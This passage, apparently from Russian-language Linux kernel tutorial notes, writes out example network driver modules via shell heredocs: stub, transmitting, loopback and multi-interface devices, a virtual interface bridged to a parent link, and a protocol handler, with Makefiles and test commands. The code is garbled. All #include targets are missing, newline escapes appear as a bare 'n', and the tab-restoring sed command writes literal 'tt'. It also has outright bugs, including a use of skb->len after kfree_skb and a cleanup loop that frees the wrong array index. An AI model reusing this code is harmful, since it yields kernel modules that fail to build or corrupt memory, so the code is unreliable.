                 dev->dev_addr[j], ETH_ALEN - 1 != j ? ':' : '' );
      if (dev->netdev_ops->ndo_get_stats64 != NULL)
         dev->netdev_ops->ndo_get_stats64(dev, &stat);
      printk(KERN_INFO "name=%-6s irq=%-3d MAC=%s "
                       "rx_bytes=%-8llu tx_bytes=%-8llu n",
                       dev->name, dev->irq, smac,
                       stat.rx_bytes, stat.tx_bytes);
      dev = next_net_device(dev);
    }
    return -1;
}

module_init(my_init);

MODULE_AUTHOR("Oleg Tsiliuric");
MODULE_LICENSE("GPL v2");

EOF


cat > transmit_simple.c << "EOF"
/*
 * (c) Copyright Jerry Cooperstein, 2009
 * (c) Copyright Oleg Tsiliuric, 2011-2022
 */

/*
 * Building a Transmitting Network Driver (simple solution)
 *
 * Extend your stub network device driver to include a transmission
 * function, which means supplying a method for
 * dev->hard_start_xmit().
 *
 * While you are at it, you may want to add other entry points to see
 * how you may exercise them.
 *
 * Once again, you should be able to exercise it with:
 *
 *   insmod transmit_simple.ko
 *   ifconfig mynet0 up 192.168.3.197
 *   ping -I mynet0 localhost
 *       or
 *   ping -bI mynet0 192.168.3
 *
 * Make sure your chosen address is not being used by anything else.
 */
#include 
#include 
#include 
#include 

static int debug = 0;               // уровень отладочного вывода
module_param(debug, int, 0);

static struct net_device *dev;

static int my_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) {
   struct netdev_queue *pnq = skb_get_tx_queue(dev, skb);
//static inline struct netdev_queue *skb_get_tx_queue(const struct net_device *dev,
//                            const struct sk_buff *skb)
   pnq->trans_start = jiffies;
   if(debug > 0)
      printk(KERN_INFO "! my_hard_start_xmit(%s) - sending packet :n",
             dev->name);   
   if(debug > 1) {
      char line[3 * 16 + 1]; //, *plin = (char*)&line; 
      /* print out 16 bytes per line */
      for(int i = 0; i < skb->len; ++i) {
         int pos = i % 16;
         if((i > 0) && (i & 0xf) == 0)
            printk(KERN_INFO "! %sn", line);
         sprintf((char*)line + pos * 3, "%02x ", skb->data[i]);
      }
      printk(KERN_INFO "n");
   }
   dev_kfree_skb(skb);
   return 0;
}

static int my_open(struct net_device *dev) {
   printk(KERN_INFO "! Hit: my_open(%s)n", dev->name);
   /* start up the transmission queue */
   netif_start_queue(dev);
   return 0;
}

static int my_close(struct net_device *dev) {
   printk(KERN_INFO "! Hit: my_close(%s)n", dev->name);
   /* shutdown the transmission queue */
   netif_stop_queue(dev);
   return 0;
}

static struct net_device_ops ndo = {
   .ndo_open = my_open,
   .ndo_stop = my_close,
   .ndo_start_xmit = my_hard_start_xmit,
};

static void my_setup(struct net_device *dev ) {
   /* Fill in the MAC address with a phoney */
   char *pa = (char*)dev->dev_addr;
   for(int j = 0; j < ETH_ALEN; j++) 
      *pa++ = (char)j;
   ether_setup(dev);
   dev->netdev_ops = &ndo;
   dev->flags |= IFF_NOARP;
}

static int __init my_init(void) {
   printk(KERN_INFO "! Loading transmitting network module:....");
   printk(KERN_INFO "! debug level = %d", (int)debug);
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 17, 0))
   dev = alloc_netdev(0, "mynet%d", my_setup);
#else
   dev = alloc_netdev(0, "mynet%d", NET_NAME_ENUM,  my_setup);
#endif
   if(register_netdev(dev)) {
      printk(KERN_INFO "! Failed to registern");
      free_netdev(dev);
      return -1;
   }
   printk(KERN_INFO "! Succeeded in loading %s!n", dev_name(&dev->dev));
   return 0;
}

static void __exit my_exit(void) {
   printk(KERN_INFO "! Unloading transmitting network modulen");
   unregister_netdev(dev);
   free_netdev(dev);
}

module_init(my_init);
module_exit(my_exit);

MODULE_AUTHOR("Bill Shubert");
MODULE_AUTHOR("Jerry Cooperstein");  // "LDD:1.0 s_26/lab1_transmit_simple.c"  
MODULE_AUTHOR("Oleg Tsiliuric");
MODULE_DESCRIPTION("");
MODULE_LICENSE("GPL v2");

EOF


cat > transmit.c  << "EOF"
/*
 * (c) Copyright Jerry Cooperstein, 2009
 * (c) Copyright Oleg Tsiliuric, 2011
 */
#include 
#include 
#include 
#include 

static struct net_device *dev;
static struct net_device_stats *stats;

static int my_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) {
   struct netdev_queue *pnq = skb_get_tx_queue(dev, skb);
   pnq->trans_start = jiffies;   
   printk(KERN_INFO "! my_hard_start_xmit(%s) - Sending packet :n", dev->name);
//   printk(KERN_INFO "! Sending packet :n");
   for(int i = 0; i < skb->len; ++i) {
      /* print out 16 bytes per line */
      char line[3 * 16 + 1];
      int pos = i % 16;
      if((i > 0) && (i & 0xf) == 0)
         printk(KERN_INFO "! %sn", line);
      sprintf((char*)line + pos * 3, "%02x ", skb->data[i]);
   }
   printk(KERN_INFO "n");
   dev_kfree_skb(skb);
   ++stats->tx_packets;
   return 0;
}

static int my_do_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) {
   printk(KERN_INFO "! my_do_ioctl(%s)n", dev->name);
   return -1;
}

static struct net_device_stats *my_get_stats(struct net_device *dev) {
   printk(KERN_INFO "! my_get_stats(%s)n", dev->name);
   return stats;
}

/* This is where ifconfig comes down and tells us who we are, etc.
 * We can just ignore this. */
static int my_config(struct net_device *dev, struct ifmap *map) {
   printk(KERN_INFO "! my_config(%s)n", dev->name);
   if(dev->flags & IFF_UP) 
      return -EBUSY;
   return 0;
}

static int my_change_mtu(struct net_device *dev, int new_mtu) {
   printk(KERN_INFO "! my_change_mtu(%s)n", dev->name);
   return -1;
}

static int my_open(struct net_device *dev) {
   printk(KERN_INFO "! Hit: my_open(%s)n", dev->name);
   /* start up the transmission queue */
   netif_start_queue(dev);
   return 0;
}

static int my_close(struct net_device *dev) {
   printk(KERN_INFO "! Hit: my_close(%s)n", dev->name);
   /* shutdown the transmission queue */
   netif_stop_queue(dev);
   return 0;
}

static struct net_device_ops ndo = {
   .ndo_open = my_open,
   .ndo_stop = my_close,
   .ndo_start_xmit = my_hard_start_xmit,
   .ndo_do_ioctl = my_do_ioctl,
   .ndo_get_stats = my_get_stats,
   .ndo_set_config = my_config,
   .ndo_change_mtu = my_change_mtu,
};

static void my_setup(struct net_device *dev) {
   /* Fill in the MAC address with a phoney */
   char *pa = (char*)dev->dev_addr;
   for(int j = 0; j < ETH_ALEN; j++) 
      *pa++ = (char)j;
   ether_setup(dev);
   dev->netdev_ops = &ndo;
   dev->flags |= IFF_NOARP;
   stats = &dev->stats;
   /* Just for laughs, let's claim that we've seen 50 collisions. */
   stats->collisions = 50;
}

static int __init my_init(void) {
   printk(KERN_INFO "! Loading transmitting network module:....");
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 17, 0))
   dev = alloc_netdev(0, "mynet%d", my_setup);
#else
   dev = alloc_netdev(0, "mynet%d", NET_NAME_ENUM, my_setup);
#endif
   if(register_netdev(dev)) {
      printk(KERN_INFO "! Failed to registern");
      free_netdev(dev);
      return -1;
   }
   printk(KERN_INFO "! Succeeded in loading %s!n", dev_name(&dev->dev));
   return 0;
}

static void __exit my_exit(void) {
   printk(KERN_INFO "! Unloading transmitting network modulen");
   unregister_netdev(dev);
   free_netdev(dev);
}

module_init(my_init);
module_exit(my_exit);

MODULE_AUTHOR("Bill Shubert");
MODULE_AUTHOR("Jerry Cooperstein");  // LDD:1.0 s_26/lab1_transmit.c
MODULE_AUTHOR("Oleg Tsiliuric");
MODULE_DESCRIPTION("");
MODULE_LICENSE("GPL v2");

EOF




cat > receive.c << "EOF"
/*
 * (c) Copyright Jerry Cooperstein, 2009
 * (c) Copyright Oleg Tsiliuric, 2011-2022
 *
 * Adding Reception
 *
 * Extend your transmitting device driver to include a reception
 * function.
 *
 * You can do a loopback method in which any packet sent out is
 * received.
 *
 * Be careful not to create memory leaks!
 *
 */

#include 
#include 
#include 
#include 

static struct net_device *dev;
static struct net_device_stats *stats;

static void my_rx(struct sk_buff *skb, struct net_device *dev) {
   /* just a loopback, already has the skb */
   printk(KERN_INFO "! I'm receiving a packetn");
   ++stats->rx_packets;
   netif_rx(skb);
}

static int my_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) {
   struct netdev_queue *pnq;
   printk(KERN_INFO "! my_hard_start_xmit(%s)n", dev->name);
   pnq = skb_get_tx_queue(dev, skb);
   pnq->trans_start = jiffies;   
   printk(KERN_INFO "! Sending packet :n");
   /* print out 16 bytes per line */
   for(int i = 0; i < skb->len; ++i) {
      if((i & 0xf) == 0)
         printk(KERN_INFO "n  ");
      printk(KERN_INFO "%02x ", skb->data[i]);
   }
   printk(KERN_INFO "n");
   ++stats->tx_packets;
   /* loopback it */
   my_rx(skb, dev);
   return 0;
}

static int my_do_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) {
   printk(KERN_INFO "! my_do_ioctl(%s)n", dev->name);
   return -1;
}

static struct net_device_stats *my_get_stats(struct net_device *dev) {
   printk(KERN_INFO "! my_get_stats(%s)n", dev->name);
   return stats;
}

/*
 * This is where ifconfig comes down and tells us who we are, etc.
 * We can just ignore this.
 */
static int my_config(struct net_device *dev, struct ifmap *map) {
   printk(KERN_INFO "! my_config(%s)n", dev->name);
   if(dev->flags & IFF_UP) 
      return -EBUSY;
   return 0;
}

static int my_change_mtu(struct net_device *dev, int new_mtu) {
   printk(KERN_INFO "! my_change_mtu(%s)n", dev->name);
   return -1;
}

static int my_open(struct net_device *dev) {
   printk(KERN_INFO "! Hit: my_open(%s)n", dev->name);
   /* start up the transmission queue */
   netif_start_queue(dev);
   return 0;
}

static int my_close(struct net_device *dev) {
   printk(KERN_INFO "! Hit: my_close(%s)n", dev->name);
   /* shutdown the transmission queue */
   netif_stop_queue(dev);
   return 0;
}

static struct net_device_ops ndo = {
   .ndo_open = my_open,
   .ndo_stop = my_close,
   .ndo_start_xmit = my_hard_start_xmit,
   .ndo_do_ioctl = my_do_ioctl,
   .ndo_get_stats = my_get_stats,
   .ndo_set_config = my_config,
   .ndo_change_mtu = my_change_mtu,
};

static void my_setup(struct net_device *dev) {
   /* Fill in the MAC address with a phoney */
   char *pa = (char*)dev->dev_addr;
   for(int j = 0; j < ETH_ALEN; j++) 
      *pa++ = (char)j;
   ether_setup(dev);
   dev->netdev_ops = &ndo;
   dev->flags |= IFF_NOARP;
   stats = &dev->stats;
   /* Just for laughs, let's claim that we've seen 50 collisions. */
   stats->collisions = 50;
}

static int __init my_init(void) {
   printk(KERN_INFO "! Loading transmitting network module:....");

#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 17, 0))
   dev = alloc_netdev(0, "mynet%d", my_setup);
#else
   dev = alloc_netdev(0, "mynet%d", NET_NAME_ENUM, my_setup);
#endif
   if(register_netdev(dev)) {
      printk(KERN_INFO "! Failed to registern");
      free_netdev(dev);
      return -1;
   }
   printk(KERN_INFO "! Succeeded in loading %s!nn", dev_name(&dev->dev));
   return 0;
}

static void __exit my_exit(void) {
   printk(KERN_INFO "! Unloading transmitting network modulenn");
   unregister_netdev(dev);
   free_netdev(dev);
}

module_init(my_init);
module_exit(my_exit);

MODULE_AUTHOR("Bill Shubert");
MODULE_AUTHOR("Jerry Cooperstein");  // LDD:1.0 s_26/lab2_receive.c 
MODULE_AUTHOR("Oleg Tsiliuric");
MODULE_DESCRIPTION("");
MODULE_LICENSE("GPL v2");
EOF



cat >  mulnet.c  << "EOF"
/*
 * (c) Copyright Jerry Cooperstein, 2009
 * (c) Copyright Oleg Tsiliuric, 2011-2022
 */
#include 
#include 
#include 

static uint num = 1;               // число создаваемых интерфейсов
module_param(num, uint, 0);
static char* title;               // префикс имени интерфейсов
module_param(title, charp, 0);
static int digit = 1;             // числовые суфиксы (по умолчанию)
module_param(digit, int, 0);
#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 17, 0))
static int mode = 1;              // режим нумерации интерфейсов
module_param(mode, int, 0);
#endif

#define MAX_LINK 5
static struct net_device* adev[MAX_LINK] = {}; //{ NULL, NULL, NULL, NULL, NULL, NULL };

static int my_open(struct net_device *dev) {
   printk(KERN_INFO "! my_open(%s)n", dev->name);
   /* start up the transmission queue */
   netif_start_queue(dev);
   return 0;
}

static int my_close(struct net_device *dev) {
   printk(KERN_INFO "! my_close(%s)n", dev->name);
   /* shutdown the transmission queue */
   netif_stop_queue(dev);
   return 0;
}

/* Note this method is only needed on some; without it
   module will fail upon removal or use. At any rate there is a memory
   leak whenever you try to send a packet through in any case*/
static int stub_start_xmit(struct sk_buff *skb, struct net_device *dev) {
   dev_kfree_skb(skb);
   return 0;
}

static struct net_device_ops ndo = {
   .ndo_open = my_open,
   .ndo_stop = my_close,
   .ndo_start_xmit = stub_start_xmit,
};

static int ipos;

static void __init my_setup(struct net_device *dev) {
   /* Fill in the MAC address with a phoney */
   char *pa = (char*)dev->dev_addr;
   for(int j = 0; j < ETH_ALEN; j++) 
      *pa++ = (char)(ipos + j);
   ether_setup(dev);
   dev->netdev_ops = &ndo;
}

static int __init my_init(void) {
   char prefix[20];
//   if(num > sizeof(adev) / sizeof(adev[0])) {
   if( num > MAX_LINK ) {
      printk(KERN_INFO "! link number error");
      return -EINVAL;
   }
// NET_NAME_UNKNOWN, NET_NAME_ENUM, NET_NAME_PREDICTABLE, NET_NAME_USER, NET_NAME_RENAMED 
#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 17, 0))
   if(mode < 0 || mode > NET_NAME_RENAMED) {
      printk(KERN_INFO "! unknown name assign mode");
      return -EINVAL;
   }
#endif
   printk(KERN_INFO "! loading network module for %d links", num);
   sprintf(prefix, "%s%s", (NULL == title ? "fict" : title), "%d");
   for(ipos = 0; ipos < num; ipos++) {
      if(!digit)
         sprintf(prefix, "%s%c", (NULL == title ? "fict" : title), 'a' + ipos);
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 17, 0))
      adev[ipos] = alloc_netdev(0, prefix, my_setup);
#else
      adev[ipos] = alloc_netdev(0, prefix, NET_NAME_UNKNOWN + mode, my_setup);
#endif
      if(register_netdev(adev[ipos])) {
         printk(KERN_INFO "! failed to register");
         for(int j = ipos; j >= 0; j--) {
            if(j != ipos) unregister_netdev(adev[ipos]);
            free_netdev(adev[ipos]);
         }
         return -ELNRNG;
      }
   }
   printk(KERN_INFO "! succeeded in loading %d devices!", num);
   return 0;
}

static void __exit my_exit(void) {
   printk(KERN_INFO "! unloading network module");
   for(int i = 0; i < num; i++) {
      unregister_netdev(adev[i]);
      free_netdev(adev[i]);
   }
} 

module_init(my_init);
module_exit(my_exit);

MODULE_AUTHOR("Bill Shubert");
MODULE_AUTHOR("Jerry Cooperstein");
MODULE_AUTHOR("Tatsuo Kawasaki");
MODULE_AUTHOR("Oleg Tsiliuric");
MODULE_DESCRIPTION("LDD:1.0 s_24/lab1_network.c");
MODULE_LICENSE("GPL v2");

EOF


Пробуем собрать фиктивный адаптер
make 
insmod ./network.ko
dmesg | tail n4 
ip link show dev fict0

Основная структура "struct net_device" описания сетевого интерфейса находится в файле 
Оттуда же и берется MAC "00:01:02:03:04:05" (генерируется)

Виртуальный сетевой интерфейс и пример кода

cat > Makefile << "EOF"
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET0 = virt
TARGET1 = virt1
TARGET2 = virt2

obj-m := $(TARGET0).o $(TARGET1).o  $(TARGET2).o

all: default clean

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules 

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp* *.mod
        @rm -rf .tmp_versions

disclean: clean
        @rm -f *.ko
EOF

# Исправить восемь пробелов на TAB
sed -i 's/        /tt/g' Makefile 



cat > virt.c << "EOF"
#include 
#include 
#include 
#include 
#include 
#include 

#define ERR(...) printk(KERN_ERR "! "__VA_ARGS__)
#define LOG(...) printk(KERN_INFO "! "__VA_ARGS__)

static char* link = "eth0";
module_param(link, charp, 0);

static char* ifname = "virt"; 
module_param(ifname, charp, 0);

static struct net_device *child = NULL;

struct priv {
   struct net_device_stats stats;
   struct net_device *parent;
};

static rx_handler_result_t handle_frame(struct sk_buff **pskb) {
   struct sk_buff *skb = *pskb;
   if(child) {
      struct priv *priv = netdev_priv(child);
      priv->stats.rx_packets++;
      priv->stats.rx_bytes += skb->len;
      LOG("rx: injecting frame from %s to %s", skb->dev->name, child->name);
      skb->dev = child;
      /* netif_receive_skb(skb);
      return RX_HANDLER_CONSUMED; */
      return RX_HANDLER_ANOTHER;
   }
   return RX_HANDLER_PASS;
}

static int open(struct net_device *dev) {
   netif_start_queue(dev);
   LOG("%s: device opened", dev->name);
   return 0;
}

static int stop(struct net_device *dev) {
   netif_stop_queue(dev);
   LOG("%s: device closed", dev->name);
   return 0;
}

static netdev_tx_t start_xmit(struct sk_buff *skb, struct net_device *dev) {
   struct priv *priv = netdev_priv(dev);
   priv->stats.tx_packets++;
   priv->stats.tx_bytes += skb->len;
   if(priv->parent) {
      skb->dev = priv->parent;
      skb->priority = 1;
      dev_queue_xmit(skb);
      LOG("tx: injecting frame from %s to %s", dev->name, skb->dev->name);
      return 0;
   }
   return NETDEV_TX_OK;
}

static struct net_device_stats *get_stats(struct net_device *dev) {
   return &((struct priv*)netdev_priv(dev))->stats;
}

static struct net_device_ops crypto_net_device_ops = {
   .ndo_open = open,
   .ndo_stop = stop,
   .ndo_get_stats = get_stats,
   .ndo_start_xmit = start_xmit,
};

// #define MAX_ADDR_LEN    32  
// #define ETH_ALEN        6   /* Octets in one ethernet addr   */ 

static void setup(struct net_device *dev) {
   int j;
   ether_setup(dev);
   memset(netdev_priv(dev), 0, sizeof(struct priv));
   dev->netdev_ops = &crypto_net_device_ops;
   for(j = 0; j < ETH_ALEN; ++j) // fill in the MAC address with a phoney 
      dev->dev_addr[j]= (char)j;
}

int __init init(void) {
   int err = 0;
   struct priv *priv;
   char ifstr[40];
   sprintf(ifstr, "%s%s", ifname, "%d");
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 17, 0))
   child = alloc_netdev(sizeof(struct priv), ifstr, setup);
#else
   child = alloc_netdev(sizeof(struct priv), ifstr, NET_NAME_UNKNOWN, setup);
#endif
   if(child == NULL) {
      ERR("%s: allocate error", THIS_MODULE->name); return -ENOMEM;
   }
   priv = netdev_priv(child);
   priv->parent = __dev_get_by_name(&init_net, link); // parent interface  
   if(!priv->parent) {
      ERR("%s: no such link: %s", THIS_MODULE->name, link);
      err = -ENODEV; goto err;
   }
   if(priv->parent->type != ARPHRD_ETHER && priv->parent->type != ARPHRD_LOOPBACK) {
      ERR("%s: illegal net type", THIS_MODULE->name);
      err = -EINVAL; goto err;
   }
   /* also, and clone its IP, MAC and other information */
   memcpy(child->dev_addr, priv->parent->dev_addr, ETH_ALEN);
   memcpy(child->broadcast, priv->parent->broadcast, ETH_ALEN);
   if((err = dev_alloc_name(child, child->name))) {
      ERR("%s: allocate name, error %i", THIS_MODULE->name, err);
      err = -EIO; goto err;
   }
   register_netdev(child);
   rtnl_lock();
   netdev_rx_handler_register(priv->parent, &handle_frame, NULL);
   rtnl_unlock();
   LOG("module %s loaded", THIS_MODULE->name);
   LOG("%s: create link %s", THIS_MODULE->name, child->name);
   LOG("%s: registered rx handler for %s", THIS_MODULE->name, priv->parent->name);
   return 0;
err:
   free_netdev(child);
   return err;
}

void __exit virt_exit(void) {
   struct priv *priv = netdev_priv(child);
   if(priv->parent) {
      rtnl_lock();
      netdev_rx_handler_unregister(priv->parent);
      rtnl_unlock();
      LOG("unregister rx handler for %sn", priv->parent->name);
   }
   unregister_netdev(child);
   free_netdev(child);
   LOG("module %s unloaded", THIS_MODULE->name);
}

module_init(init);
module_exit(virt_exit);

MODULE_AUTHOR("Oleg Tsiliuric");
MODULE_AUTHOR("Nikita Dorokhin");
MODULE_LICENSE("GPL v2");
MODULE_VERSION("3.2");

EOF



cat > virt1.c << "EOF"
#include 
#include 
#include 
#include 
#include 
#include 

#define ERR(...) printk(KERN_ERR "! "__VA_ARGS__)
#define LOG(...) printk(KERN_INFO "! "__VA_ARGS__)

static char* link = "eth0";
module_param(link, charp, 0);

static char* ifname = "virt"; 
module_param(ifname, charp, 0);

static struct net_device *child = NULL;

static struct net_device_stats stats;

struct priv {
   struct net_device *parent;
};

static rx_handler_result_t handle_frame(struct sk_buff **pskb) {
   struct sk_buff *skb = *pskb;
   if(child) {
      stats.rx_packets++;
      stats.rx_bytes += skb->len;
      LOG("rx: injecting frame from %s to %s", skb->dev->name, child->name);
      skb->dev = child;
      /* netif_receive_skb(skb);
      return RX_HANDLER_CONSUMED; */
      return RX_HANDLER_ANOTHER;
   }
   return RX_HANDLER_PASS;
}

static int open(struct net_device *dev) {
   netif_start_queue(dev);
   LOG("%s: device opened", dev->name);
   return 0;
}

static int stop(struct net_device *dev) {
   netif_stop_queue(dev);
   LOG("%s: device closed", dev->name);
   return 0;
}

static netdev_tx_t start_xmit(struct sk_buff *skb, struct net_device *dev) {
   struct priv *priv = netdev_priv(dev);
   stats.tx_packets++;
   stats.tx_bytes += skb->len;
   if(priv->parent) {
      skb->dev = priv->parent;
      skb->priority = 1;
      dev_queue_xmit(skb);
      LOG("tx: injecting frame from %s to %s", dev->name, skb->dev->name);
      return 0;
   }
   return NETDEV_TX_OK;
}

static struct net_device_stats *get_stats(struct net_device *dev) {
   return &stats;
}

static struct net_device_ops crypto_net_device_ops = {
   .ndo_open = open,
   .ndo_stop = stop,
   .ndo_get_stats = get_stats,
   .ndo_start_xmit = start_xmit,
};

// #define MAX_ADDR_LEN    32  
// #define ETH_ALEN        6   /* Octets in one ethernet addr   */ 

static void setup(struct net_device *dev) {
   int j;
   ether_setup(dev);
   memset(netdev_priv(dev), 0, sizeof(struct priv));
   dev->netdev_ops = &crypto_net_device_ops;
   for(j = 0; j < ETH_ALEN; ++j) // fill in the MAC address with a phoney 
      dev->dev_addr[j] = (char)j;
}

int __init init(void) {
   int err = 0;
   struct priv *priv;
   char ifstr[40];
   sprintf(ifstr, "%s%s", ifname, "%d");
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 17, 0))
   child = alloc_netdev(sizeof(struct priv), ifstr, setup);
#else
   child = alloc_netdev(sizeof(struct priv), ifstr, NET_NAME_UNKNOWN, setup);
#endif
   if(child == NULL) {
      ERR("%s: allocate error", THIS_MODULE->name); return -ENOMEM;
   }
   priv = netdev_priv(child);
   priv->parent = __dev_get_by_name(&init_net, link); // parent interface  
   if(!priv->parent) {
      ERR("%s: no such link: %s", THIS_MODULE->name, link);
      err = -ENODEV; goto err;
   }
   if(priv->parent->type != ARPHRD_ETHER && priv->parent->type != ARPHRD_LOOPBACK) {
      ERR("%s: illegal net type", THIS_MODULE->name);
      err = -EINVAL; goto err;
   }
   /* also, and clone its IP, MAC and other information */
   memcpy(child->dev_addr, priv->parent->dev_addr, ETH_ALEN);
   memcpy(child->broadcast, priv->parent->broadcast, ETH_ALEN);
   if((err = dev_alloc_name(child, child->name))) {
      ERR("%s: allocate name, error %i", THIS_MODULE->name, err);
      err = -EIO; goto err;
   }
   register_netdev(child);
   rtnl_lock();
   netdev_rx_handler_register(priv->parent, &handle_frame, NULL);
   rtnl_unlock();
   LOG("module %s loaded", THIS_MODULE->name);
   LOG("%s: create link %s", THIS_MODULE->name, child->name);
   LOG("%s: registered rx handler for %s", THIS_MODULE->name, priv->parent->name);
   return 0;
err:
   free_netdev(child);
   return err;
}

void __exit virt_exit(void) {
   struct priv *priv = netdev_priv(child);
   if(priv->parent) {
      rtnl_lock();
      netdev_rx_handler_unregister(priv->parent);
      rtnl_unlock();
      LOG("unregister rx handler for %sn", priv->parent->name);
   }
   unregister_netdev(child);
   free_netdev(child);
   LOG("module %s unloaded", THIS_MODULE->name);
}

module_init(init);
module_exit(virt_exit);

MODULE_AUTHOR("Oleg Tsiliuric");
MODULE_AUTHOR("Nikita Dorokhin");
MODULE_LICENSE("GPL v2");
MODULE_VERSION("3.2");

EOF


cat > virt2.c << "EOF"
#include 
#include 
#include 
#include 
#include 
#include 

#define ERR(...) printk(KERN_ERR "! "__VA_ARGS__)
#define LOG(...) printk(KERN_INFO "! "__VA_ARGS__)

static char* link = "eth0";
module_param(link, charp, 0);

static char* ifname = "virt"; 
module_param(ifname, charp, 0);

static struct net_device *child = NULL;

struct priv {
   struct net_device *parent;
};

static rx_handler_result_t handle_frame(struct sk_buff **pskb) {
   struct sk_buff *skb = *pskb;
   if(child) {
      child->stats.rx_packets++;
      child->stats.rx_bytes += skb->len;
      LOG("rx: injecting frame from %s to %s", skb->dev->name, child->name);
      skb->dev = child;
      /* netif_receive_skb(skb);
      return RX_HANDLER_CONSUMED; */
      return RX_HANDLER_ANOTHER;
   }
   return RX_HANDLER_PASS;
}

static int open(struct net_device *dev) {
   netif_start_queue(dev);
   LOG("%s: device opened", dev->name);
   return 0;
}

static int stop(struct net_device *dev) {
   netif_stop_queue(dev);
   LOG("%s: device closed", dev->name);
   return 0;
}

static netdev_tx_t start_xmit(struct sk_buff *skb, struct net_device *dev) {
   struct priv *priv = netdev_priv(dev);
   child->stats.tx_packets++;
   child->stats.tx_bytes += skb->len;
   if(priv->parent) {
      skb->dev = priv->parent;
      skb->priority = 1;
      dev_queue_xmit(skb);
      LOG("tx: injecting frame from %s to %s", dev->name, skb->dev->name);
      return 0;
   }
   return NETDEV_TX_OK;
}

static struct net_device_stats *get_stats(struct net_device *dev) {
   return &dev->stats;
}

static struct net_device_ops crypto_net_device_ops = {
   .ndo_open = open,
   .ndo_stop = stop,
   .ndo_get_stats = get_stats,
   .ndo_start_xmit = start_xmit,
};

// #define MAX_ADDR_LEN    32  
// #define ETH_ALEN        6   /* Octets in one ethernet addr   */ 

static void setup(struct net_device *dev) {
   int j;
   ether_setup(dev);
   memset(netdev_priv(dev), 0, sizeof(struct priv));
   dev->netdev_ops = &crypto_net_device_ops;
   for(j = 0; j < ETH_ALEN; ++j) // fill in the MAC address with a phoney 
      dev->dev_addr[j] = (char)j;
}

int __init init(void) {
   int err = 0;
   struct priv *priv;
   char ifstr[40];
   sprintf(ifstr, "%s%s", ifname, "%d");
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 17, 0))
   child = alloc_netdev(sizeof(struct priv), ifstr, setup);
#else
   child = alloc_netdev(sizeof(struct priv), ifstr, NET_NAME_UNKNOWN, setup);
#endif
   if(child == NULL) {
      ERR("%s: allocate error", THIS_MODULE->name); return -ENOMEM;
   }
   priv = netdev_priv(child);
   priv->parent = __dev_get_by_name(&init_net, link); // parent interface  
   if(!priv->parent) {
      ERR("%s: no such link: %s", THIS_MODULE->name, link);
      err = -ENODEV; goto err;
   }
   if(priv->parent->type != ARPHRD_ETHER && priv->parent->type != ARPHRD_LOOPBACK) {
      ERR("%s: illegal net type", THIS_MODULE->name);
      err = -EINVAL; goto err;
   }
   /* also, and clone its IP, MAC and other information */
   memcpy(child->dev_addr, priv->parent->dev_addr, ETH_ALEN);
   memcpy(child->broadcast, priv->parent->broadcast, ETH_ALEN);
   if((err = dev_alloc_name(child, child->name))) {
      ERR("%s: allocate name, error %i", THIS_MODULE->name, err);
      err = -EIO; goto err;
   }
   register_netdev(child);
   rtnl_lock();
   netdev_rx_handler_register(priv->parent, &handle_frame, NULL);
   rtnl_unlock();
   LOG("module %s loaded", THIS_MODULE->name);
   LOG("%s: create link %s", THIS_MODULE->name, child->name);
   LOG("%s: registered rx handler for %s", THIS_MODULE->name, priv->parent->name);
   return 0;
err:
   free_netdev(child);
   return err;
}

void __exit virt_exit(void) {
   struct priv *priv = netdev_priv(child);
   if(priv->parent) {
      rtnl_lock();
      netdev_rx_handler_unregister(priv->parent);
      rtnl_unlock();
      LOG("unregister rx handler for %sn", priv->parent->name);
   }
   unregister_netdev(child);
   free_netdev(child);
   LOG("module %s unloaded", THIS_MODULE->name);
}

module_init(init);
module_exit(virt_exit);

MODULE_AUTHOR("Oleg Tsiliuric");
MODULE_AUTHOR("Nikita Dorokhin");
MODULE_LICENSE("GPL v2");
MODULE_VERSION("3.2");

EOF



ЧДД?
make
insmod virt.ko link=p7p1
ifconfig virt0 192.168.50.2
ping 192.168.50.1
rmmod virt
virt.1.ko link=p7p1
lsmod | head -n3
rmmod 'virt.1'


Протокол сетевого уровня:

На этом уровне (L2) обеспечивается обработка таких протоколов как IP/IPv4/IPv6/IPX/ICMP/RIP/OSPF/ARP 
или оригинальных пользовательских протоколов.
Для установки обработчиков сетевого уровня предоставляются API сетевого уровня ()

Фактически в протокольных модулях мы должны добавить фильтр, через который проходят буферы сокетов из 
входящего потока интерфейса. (Исходящий поток реализуется проще)
На обработку функции отбираются те буферы сокетов, которые удовлетворяют критериям,
заложенным в структуре "struct packet_type"


Примеры кода:
cat > Makefile << "EOF"
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)
DEST = /lib/modules/$(CURRENT)/misc
EXTRA_CFLAGS += -std=gnu99

TARGET1 = net_proto
TARGET2 = net_proto2
TARGET3 = net_protox
TARGET4 = trn_proto

obj-m   := $(TARGET1).o 
#$(TARGET2).o $(TARGET3).o

all: modules clean

modules:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order *.d
        @rm -f .*.*.cmd *.symvers *~ *.*~
        @rm -fR .tmp* .*.cmd .*.d
        @rm -rf .tmp_versions

disclean:  clean
        @rm -f *.ko
EOF


cat > net_proto.c << "EOF" 
#include "net_common.c"

// int (*func) (struct sk_buff *, struct net_device *,
//              struct packet_type *,
//              struct net_device *);

int test_pack_rcv(struct sk_buff *skb, struct net_device *dev,
                  struct packet_type *pt, struct net_device *odev) {
//   printk(KERN_INFO "packet received with length: %un", skb->len);
   kfree_skb(skb);
   return skb->len;
};

#define TEST_PROTO_ID 0x1234
static struct packet_type test_proto = {
